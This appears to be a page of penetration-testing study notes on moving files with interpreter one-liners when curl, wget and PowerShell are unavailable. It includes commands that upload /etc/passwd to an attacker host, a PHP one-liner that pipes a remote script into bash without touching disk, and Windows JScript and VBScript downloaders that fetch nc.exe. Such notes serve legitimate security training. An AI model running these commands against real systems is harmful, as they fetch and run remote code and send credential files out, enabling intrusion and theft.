Code One-Liners
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Use an interpreter when curl, wget, and PowerShell are missing or blocked. Linux hosts often have Python, Perl, or PHP. Every Windows host runs JavaScript and VBScript through cscript. Find the installed interpreters:
which python3 python2 python perl php ruby # path of each installed interpreterEach example saves http://10.10.14.20/linpeas.sh as linpeas.sh in the current folder.
Python
Python 3:
# download with Python 3python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.14.20/linpeas.sh","linpeas.sh")'Python 2:
# download with Python 2python2 -c 'import urllib;urllib.urlretrieve("http://10.10.14.20/linpeas.sh","linpeas.sh")'-c runs the code that follows. A host with only python may run either version. Check which one:
python -V # print the Python versionUpload to uploadserver. requests is a separate module and is often missing:
# upload /etc/passwd to uploadserverpython3 -c 'import requests;requests.post("http://10.10.14.20/upload",files={"files":open("/etc/passwd","rb")})'Upload with the standard library only, as a PUT to Nginx:
# upload /etc/passwd as passwd.txtpython3 -c 'import urllib.request as u;u.urlopen(u.Request("http://10.10.14.20:9001/up/passwd.txt",data=open("/etc/passwd","rb").read(),method="PUT"))'PHP
# download with PHPphp -r 'file_put_contents("linpeas.sh", file_get_contents("http://10.10.14.20/linpeas.sh"));'-r runs the code that follows. file_get_contents reads a URL only when allow_url_fopen is on, the default.
Run a script in memory:
php -r 'echo file_get_contents("http://10.10.14.20/linpeas.sh");' | bash # run with no copy on diskPerl
perl -MLWP::Simple -e 'getstore("http://10.10.14.20/linpeas.sh","linpeas.sh")' # download with Perl-M loads a module. -e runs the code that follows. LWP::Simple is part of libwww-perl and is not on every host.
Ruby
# download with Rubyruby -e 'require "net/http"; File.write("linpeas.sh", Net::HTTP.get(URI.parse("http://10.10.14.20/linpeas.sh")))'JavaScript (Windows)
cscript runs JavaScript and VBScript files on every Windows version. Save this as wget.js:
// download the URL in the first argument to the path in the secondvar r = new ActiveXObject("WinHttp.WinHttpRequest.5.1");r.Open("GET", WScript.Arguments(0), false);r.Send();var s = new ActiveXObject("ADODB.Stream");s.Type = 1;s.Open();s.Write(r.ResponseBody);s.SaveToFile(WScript.Arguments(1));Run it:
REM download nc.exe to C:\Users\Publiccscript //nologo wget.js http://10.10.14.20/nc.exe C:\Users\Public\nc.exe//nologo hides the banner. ADODB.Stream with Type = 1 writes the response as binary data.
VBScript (Windows)
Save this as wget.vbs:
' download the URL in the first argument to the path in the secondSet x = CreateObject("Microsoft.XMLHTTP")Set s = CreateObject("ADODB.Stream")x.Open "GET", WScript.Arguments.Item(0), Falsex.Sends.Type = 1s.Opens.Write x.responseBodys.SaveToFile WScript.Arguments.Item(1), 2Run it:
REM download nc.exe to C:\Users\Publiccscript //nologo wget.vbs http://10.10.14.20/nc.exe C:\Users\Public\nc.exeThe 2 in SaveToFile overwrites a file that exists.
To write either script from a shell with no editor, append it one line at a time:
REM append one line to the scriptecho <line> >> wget.vbsBase64 paste also works (Session Transfers).